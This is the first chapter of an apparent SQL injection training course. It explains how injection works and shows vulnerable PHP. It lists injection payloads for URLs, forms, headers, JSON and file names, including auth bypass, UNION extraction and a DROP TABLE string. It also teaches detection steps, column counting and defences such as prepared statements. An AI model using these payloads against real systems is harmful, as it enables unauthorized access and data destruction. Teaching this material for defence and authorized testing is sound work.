SQL injection (SQLi) is one of the most critical web application vulnerabilities. It allows attackers to interfere with the queries that an application makes to its database, potentially accessing sensitive data, modifying database contents, or even executing administrative operations on the database server.
This chapter covers the fundamental concepts you need before diving into exploitation techniques covered in later chapters.
SQL injection is a code injection attack where an attacker inserts malicious SQL statements into input fields, which are then executed by the database server. This occurs when user input is concatenated into SQL queries without proper sanitization or parameterization.
Consider this vulnerable PHP code:
// Vulnerable authentication code
$username = $_GET['username'];
$password = $_GET['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);
if (mysqli_num_rows($result) > 0) {
// User authenticated
login_success();
}Normal Input:
- Username:
admin - Password:
secret123 - Query:
SELECT * FROM users WHERE username = 'admin' AND password = 'secret123'
Malicious Input:
- Username:
admin' -- - Password:
anything - Query:
SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything' - Result: The
--comments out the password check, allowing login without valid credentials
Understanding the different types helps you choose the right exploitation technique:
| Type | Description | Detection Method | Covered In |
|---|---|---|---|
| In-band (Classic) | Results displayed directly in application response | Visible output, errors | 04-Union-Injection.md |
| Error-based | Database error messages reveal information | Error messages | 03-Basic-Exploitation.md |
| Union-based | Uses UNION operator to extract data | Visible output with crafted data | 04-Union-Injection.md |
| Blind (Boolean) | True/false questions based on page differences | Page content comparison | 05-Blind-Injection.md |
| Blind (Time-based) | Uses time delays as boolean indicator | Response timing analysis | 05-Blind-Injection.md |
| Out-of-band | Results sent via different channel (DNS, HTTP) | External interactions | 05-Blind-Injection.md |
| Stacked queries | Multiple SQL statements executed | Multiple statement support | 10-Advanced-Techniques.md |
Despite being well-known since 1998, SQL injection remains prevalent because:
- Legacy Code: Many applications were built before secure coding practices were common
- Developer Education: Not all developers understand secure coding patterns
- Complex Applications: Large codebases make it hard to audit every query
- Third-Party Code: Libraries and components may have vulnerabilities
- False Confidence: WAFs and filters give a false sense of security
Attackers can inject SQL code through various input vectors:
https://site.com/product?id=1' -- Product ID parameter
https://site.com/search?q=test' -- Search query
https://site.com/page?id=1&cat=2' -- Multiple parameters
<!-- Login forms -->
<input name="username" value="admin'--" />
<input name="password" value="anything" />
<!-- Search forms -->
<input name="search" value="laptop' UNION SELECT * FROM users--" />
<!-- Registration forms -->
<input name="email" value="[email protected]' OR '1'='1" />User-Agent: ' OR 1=1--
X-Forwarded-For: 127.0.0.1' UNION SELECT * FROM users--
Referer: https://site.com' AND 1=1--
Cookie: session=abc123' AND (SELECT * FROM users)--{
"username": "admin'--",
"password": "test"
}
{
"filters": {
"category": "laptop' OR '1'='1"
}
}Content-Type: image/jpeg; name="photo.jpg' UNION SELECT * FROM users--"
X-File-Name: document.pdf' AND 1=1--Different databases support different comment styles:
| Database | Single-line Comments | Multi-line Comments |
|---|---|---|
| MySQL | -- (space required), # |
/* comment */ |
| PostgreSQL | -- |
/* comment */ |
| MSSQL | -- |
/* comment */ |
| Oracle | -- |
/* comment */ |
| SQLite | -- |
/* comment */ |
Important: The space after -- is required in MySQL for the comment to work.
| Character | Usage | Notes |
|---|---|---|
' |
Single quote | Most common string delimiter |
" |
Double quote | Alternative string delimiter |
| ` | Backtick | MySQL identifier quoting |
[] |
Square brackets | MSSQL identifier quoting |
The simplest test is injecting a single quote to break the query syntax:
Normal: https://site.com/user?id=1
Test: https://site.com/user?id=1'
Expected vulnerable response:
Error: You have an error in your SQL syntax;
check the manual that corresponds to your
MySQL server version for the right syntax
to use near ''' at line 1
This error confirms:
- The input is directly used in a SQL query
- The database is MySQL
- The application doesn't properly handle errors
After detecting a potential injection point, confirm it with boolean logic:
Test 1: id=1' AND '1'='1 → Should return normal result (true)
Test 2: id=1' AND '1'='2 → Should return different result (false)
Why this works:
AND '1'='1'is always true, so the query executes normallyAND '1'='2'is always false, so the query returns no results- Different responses confirm injectable parameter
Before using UNION-based extraction, determine how many columns the original query returns:
ORDER BY 1-- (works)
ORDER BY 2-- (works)
ORDER BY 3-- (works)
ORDER BY 4-- (error) ← Query has 3 columns
Alternative method:
UNION SELECT NULL-- (error)
UNION SELECT NULL,NULL-- (error)
UNION SELECT NULL,NULL,NULL-- (works) ← 3 columns
SQL injection has caused major data breaches:
| Year | Target | Records Exposed | Attack Vector |
|---|---|---|---|
| 2008 | Heartland Payment | 130M+ | SQLi in payment processing |
| 2011 | Sony Pictures | 1M+ | SQLi in authentication system |
| 2015 | TalkTalk | 157K | SQLi in website |
| 2016 | Adult Friend Finder | 412M | SQLi in multiple databases |
| 2017 | Equifax | 143M | Multiple vulnerabilities including SQLi |
A successful SQL injection attack can lead to:
- Data Theft: User credentials, personal information, financial data
- Data Modification: Alter account balances, modify records
- Data Deletion: Drop tables or entire databases
- Authentication Bypass: Login as any user including administrators
- Remote Code Execution: Execute operating system commands
- Lateral Movement: Access other systems via database connections
Understanding prevention helps you understand what defenses you may encounter:
PHP (PDO):
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = ?');
$stmt->execute([$user_id]);Python (psycopg2):
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))Java (JDBC):
PreparedStatement stmt = conn.prepareStatement(
"SELECT * FROM users WHERE id = ?"
);
stmt.setInt(1, userId);Node.js (pg):
const result = await pool.query('SELECT * FROM users WHERE id = $1', [userId])# Whitelist approach - only allow expected formats
import re
def validate_id(user_id):
if not re.match(r'^\d+$', user_id):
raise ValueError("ID must be numeric")
return int(user_id)
def validate_email(email):
pattern = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'
if not re.match(pattern, email):
raise ValueError("Invalid email format")
return email# Django ORM (safe by default)
user = User.objects.get(id=user_id)
# SQLAlchemy ORM
user = session.query(User).filter_by(id=user_id).first()Database users should have minimal permissions:
- Application user: SELECT, INSERT, UPDATE only on necessary tables
- No DROP, ALTER, or administrative privileges
- Separate read-only and read-write accounts
flowchart TD
A[User Input Received] --> B{Layer 1 Validation}
B -->|Valid| C[Layer 2 Parameterization]
B -->|Invalid| D[Reject Input]
C --> E[Query to Database]
E --> F[Layer 3 Least Privilege]
F --> G[Layer 4 Monitoring]
Defense Layers:
| Layer | Purpose | Why This Layer |
|---|---|---|
| 1. Validation | Whitelist expected format | First line, cheap and fast |
| 2. Parameterization | Prepared statements | Most effective technical control |
| 3. Least Privilege | Restrict DB permissions | Damage control if injection occurs |
| 4. Monitoring | Log and alert | Detection when prevention fails |
Reasoning for layered defense:
- Validation First - Cheapest to implement, catches obvious attacks before processing
- Parameterization - Most effective technical control, separates code from data
- Least Privilege - Damage control if injection occurs, limits blast radius
- Monitoring - Detection and response when prevention fails
Never expose database errors to users:
// BAD - Reveals database structure
$result = mysqli_query($conn, $query);
if (!$result) {
echo "Error: " . mysqli_error($conn); // DON'T DO THIS
}
// GOOD - Generic error, log details internally
$result = mysqli_query($conn, $query);
if (!$result) {
error_log("Database error: " . mysqli_error($conn)); // Log internally
echo "An error occurred. Please try again later."; // Generic user message
}Why this matters: Error messages reveal:
- Database type (MySQL, PostgreSQL, MSSQL)
- Query structure and table names
- Column names from "unknown column" errors
- File paths from error traces
Analyze these URLs and identify which are potentially vulnerable to SQL injection:
A) https://site.com/product?id=123
B) https://site.com/static/image.jpg
C) https://site.com/api/v1/users/456
D) https://site.com/search?q=laptop
E) https://site.com/contact (form submission)
Answers:
- A: Yes - Dynamic content based on ID
- B: No - Static file, no database query
- C: Yes - API endpoint with parameter
- D: Yes - Search functionality
- E: Yes - Form data often stored in database
This code is vulnerable. Rewrite it securely:
// Vulnerable
$id = $_GET['id'];
$query = "SELECT * FROM products WHERE id = $id";
$result = mysqli_query($conn, $query);Secure version:
// Secure with prepared statement
$stmt = $conn->prepare("SELECT * FROM products WHERE id = ?");
$stmt->bind_param("i", $_GET['id']);
$stmt->execute();
$result = $stmt->get_result();Try these different comment styles to see which work:
1. id=1'-- (MySQL, MSSQL, Oracle, PostgreSQL)
2. id=1'-- - (MySQL with required space)
3. id=1'# (MySQL only)
4. id=1'/*comment*/ (Universal)
5. id=1';-- (MSSQL, PostgreSQL - stacked query attempt)
Determine what each payload does:
-- Payload 1
' OR '1'='1'--
-- Payload 2
' UNION SELECT * FROM users--
-- Payload 3
'; DROP TABLE users;--
-- Payload 4
' AND 1=1--Answers:
- Always true condition - bypasses authentication or returns all records
- Attempts to union user table data with current query
- Stacked query attempting to delete the users table (MSSQL/PostgreSQL)
- Boolean test - should return same result as original query
- SQL injection occurs when user input is concatenated into SQL queries without proper sanitization
- Single quote (
') is your best friend - it's the most basic and effective test - Comments (
--,#) allow you to truncate the rest of the original query - Different databases have different syntax - identification is crucial for successful exploitation
- Always follow the methodology: Detect → Identify → Exploit → Extract
- Practice on isolated lab environments - never test on production systems
Continue to 02 - Detection Methods to learn systematic detection approaches. 4. Keep notes on which techniques work against different defenses
Remember: The key to mastering SQL injection is consistent practice in safe, authorized environments.